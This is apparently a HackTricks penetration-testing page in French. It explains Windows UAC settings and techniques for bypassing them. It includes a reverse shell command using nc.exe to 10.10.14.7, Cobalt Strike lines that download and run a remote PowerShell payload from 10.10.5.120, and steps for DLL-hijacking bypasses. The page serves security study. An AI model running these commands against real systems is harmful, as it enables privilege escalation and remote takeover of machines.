UAC - Contrôle de Compte Utilisateur
Reading time: 12 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
UAC
Le Contrôle de Compte Utilisateur (UAC) est une fonctionnalité qui permet une demande de consentement pour des activités élevées. Les applications ont différents niveaux d'intégrité
, et un programme avec un niveau élevé peut effectuer des tâches qui pourraient potentiellement compromettre le système. Lorsque l'UAC est activé, les applications et les tâches s'exécutent toujours sous le contexte de sécurité d'un compte non administrateur à moins qu'un administrateur n'autorise explicitement ces applications/tâches à avoir un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de commodité qui protège les administrateurs des modifications non intentionnelles mais n'est pas considérée comme une frontière de sécurité.
Pour plus d'informations sur les niveaux d'intégrité :
Lorsque l'UAC est en place, un utilisateur administrateur reçoit 2 jetons : une clé d'utilisateur standard, pour effectuer des actions régulières au niveau régulier, et une avec les privilèges d'administrateur.
Cette page discute en profondeur du fonctionnement de l'UAC et inclut le processus de connexion, l'expérience utilisateur et l'architecture de l'UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le fonctionnement de l'UAC spécifique à leur organisation au niveau local (en utilisant secpol.msc), ou configuré et déployé via des Objets de Politique de Groupe (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont discutés en détail ici. Il existe 10 paramètres de Politique de Groupe qui peuvent être définis pour l'UAC. Le tableau suivant fournit des détails supplémentaires :
Théorie du Contournement de l'UAC
Certains programmes sont auto-élévés automatiquement si l'utilisateur appartient au groupe administrateur. Ces binaires ont à l'intérieur de leurs Manifests l'option autoElevate avec la valeur True. Le binaire doit également être signé par Microsoft.
Ensuite, pour contourner l'UAC (élever du niveau d'intégrité moyen au niveau élevé), certains attaquants utilisent ce type de binaires pour exécuter du code arbitraire car il sera exécuté à partir d'un processus d'intégrité de niveau élevé.
Vous pouvez vérifier le Manifest d'un binaire en utilisant l'outil sigcheck.exe de Sysinternals. Et vous pouvez voir le niveau d'intégrité des processus en utilisant Process Explorer ou Process Monitor (de Sysinternals).
Vérifier l'UAC
Pour confirmer si l'UAC est activé, faites :
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Si c'est 1
, alors UAC est activé, si c'est 0
ou s'il n'existe pas, alors UAC est inactif.
Ensuite, vérifiez quel niveau est configuré :
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Si
0
, alors, UAC ne demandera pas (comme désactivé) - Si
1
, l'administrateur est demandé pour le nom d'utilisateur et le mot de passe pour exécuter le binaire avec des droits élevés (sur le Bureau Sécurisé) - Si
2
(Toujours me notifier) UAC demandera toujours confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé) - Si
3
, comme1
mais pas nécessaire sur le Bureau Sécurisé - Si
4
, comme2
mais pas nécessaire sur le Bureau Sécurisé - si
5
(par défaut), il demandera à l'administrateur de confirmer l'exécution de binaires non Windows avec des privilèges élevés
Ensuite, vous devez examiner la valeur de LocalAccountTokenFilterPolicy
Si la valeur est 0
, alors, seul l'utilisateur RID 500 (Administrateur intégré) peut effectuer des tâches administratives sans UAC, et si c'est 1
, tous les comptes dans le groupe "Administrateurs" peuvent le faire.
Et, enfin, examinez la valeur de la clé FilterAdministratorToken
Si 0
(par défaut), le compte Administrateur intégré peut effectuer des tâches d'administration à distance et si 1
, le compte Administrateur intégré ne peut pas effectuer des tâches d'administration à distance, à moins que LocalAccountTokenFilterPolicy
soit défini sur 1
.
Résumé
- Si
EnableLUA=0
ou n'existe pas, pas de UAC pour personne - Si
EnableLua=1
etLocalAccountTokenFilterPolicy=1
, pas de UAC pour personne - Si
EnableLua=1
etLocalAccountTokenFilterPolicy=0
etFilterAdministratorToken=0
, pas de UAC pour RID 500 (Administrateur intégré) - Si
EnableLua=1
etLocalAccountTokenFilterPolicy=0
etFilterAdministratorToken=1
, UAC pour tout le monde
Toutes ces informations peuvent être recueillies à l'aide du module metasploit : post/windows/gather/win_privs
Vous pouvez également vérifier les groupes de votre utilisateur et obtenir le niveau d'intégrité :
net user %username%
whoami /groups | findstr Level
Contournement de l'UAC
note
Notez que si vous avez un accès graphique à la victime, le contournement de l'UAC est simple car vous pouvez simplement cliquer sur "Oui" lorsque l'invite UAC apparaît.
Le contournement de l'UAC est nécessaire dans la situation suivante : l'UAC est activé, votre processus s'exécute dans un contexte d'intégrité moyen, et votre utilisateur appartient au groupe des administrateurs.
Il est important de mentionner qu'il est beaucoup plus difficile de contourner l'UAC s'il est au niveau de sécurité le plus élevé (Toujours) que s'il est à l'un des autres niveaux (Par défaut).
UAC désactivé
Si l'UAC est déjà désactivé (ConsentPromptBehaviorAdmin
est 0
), vous pouvez exécuter un shell inversé avec des privilèges d'administrateur (niveau d'intégrité élevé) en utilisant quelque chose comme :
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
Contournement UAC avec duplication de jeton
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Très Basique "contournement" UAC (accès complet au système de fichiers)
Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrateurs, vous pouvez monter le C$ partagé via SMB (système de fichiers) local dans un nouveau disque et vous aurez accès à tout à l'intérieur du système de fichiers (même le dossier personnel de l'Administrateur).
warning
On dirait que ce truc ne fonctionne plus
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
Contournement de l'UAC avec Cobalt Strike
Les techniques de Cobalt Strike ne fonctionneront que si l'UAC n'est pas réglé au niveau de sécurité maximal.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire et Metasploit ont également plusieurs modules pour contourner le UAC.
KRBUACBypass
Documentation et outil dans https://github.com/wh0amitz/KRBUACBypass
Exploits de contournement UAC
UACME qui est une compilation de plusieurs exploits de contournement UAC. Notez que vous devrez compiler UACME en utilisant visual studio ou msbuild. La compilation créera plusieurs exécutables (comme Source\Akagi\outout\x64\Debug\Akagi.exe
), vous devrez savoir lequel vous avez besoin.
Vous devez être prudent car certains contournements demanderont d'autres programmes qui alerteront l'utilisateur que quelque chose se passe.
UACME a la version de construction à partir de laquelle chaque technique a commencé à fonctionner. Vous pouvez rechercher une technique affectant vos versions :
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Aussi, en utilisant cette page, vous obtenez la version de Windows 1607
à partir des versions de build.
Plus de contournement UAC
Toutes les techniques utilisées ici pour contourner l'AUC nécessitent un shell interactif complet avec la victime (un shell nc.exe classique ne suffit pas).
Vous pouvez obtenir cela en utilisant une session meterpreter. Migrez vers un processus qui a la valeur Session égale à 1 :
(explorer.exe devrait fonctionner)
Contournement UAC avec GUI
Si vous avez accès à une GUI, vous pouvez simplement accepter l'invite UAC lorsque vous l'obtenez, vous n'avez vraiment pas besoin d'un contournement. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC.
De plus, si vous obtenez une session GUI que quelqu'un utilisait (potentiellement via RDP), il y a certains outils qui s'exécuteront en tant qu'administrateur à partir desquels vous pourriez exécuter un cmd par exemple en tant qu'admin directement sans être à nouveau invité par l'UAC comme https://github.com/oski02/UAC-GUI-Bypass-appverif. Cela pourrait être un peu plus discret.
Contournement UAC bruyant par force brute
Si vous ne vous souciez pas d'être bruyant, vous pourriez toujours exécuter quelque chose comme https://github.com/Chainski/ForceAdmin qui demande d'élever les permissions jusqu'à ce que l'utilisateur l'accepte.
Votre propre contournement - Méthodologie de contournement UAC de base
Si vous jetez un œil à UACME, vous remarquerez que la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL (principalement en écrivant la DLL malveillante dans C:\Windows\System32). Lisez ceci pour apprendre comment trouver une vulnérabilité de détournement de DLL.
- Trouvez un binaire qui va s'autoélever (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé).
- Avec procmon, trouvez des événements "NOM NON TROUVÉ" qui peuvent être vulnérables au détournement de DLL.
- Vous aurez probablement besoin de écrire la DLL à l'intérieur de certains chemins protégés (comme C:\Windows\System32) où vous n'avez pas de permissions d'écriture. Vous pouvez contourner cela en utilisant :
- wusa.exe : Windows 7, 8 et 8.1. Cela permet d'extraire le contenu d'un fichier CAB à l'intérieur de chemins protégés (car cet outil est exécuté à partir d'un niveau d'intégrité élevé).
- IFileOperation : Windows 10.
- Préparez un script pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et autoélevé.
Une autre technique de contournement UAC
Consiste à surveiller si un binaire autoélevé essaie de lire dans le registre le nom/chemin d'un binaire ou commande à exécuter (c'est plus intéressant si le binaire recherche cette information dans le HKCU).
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.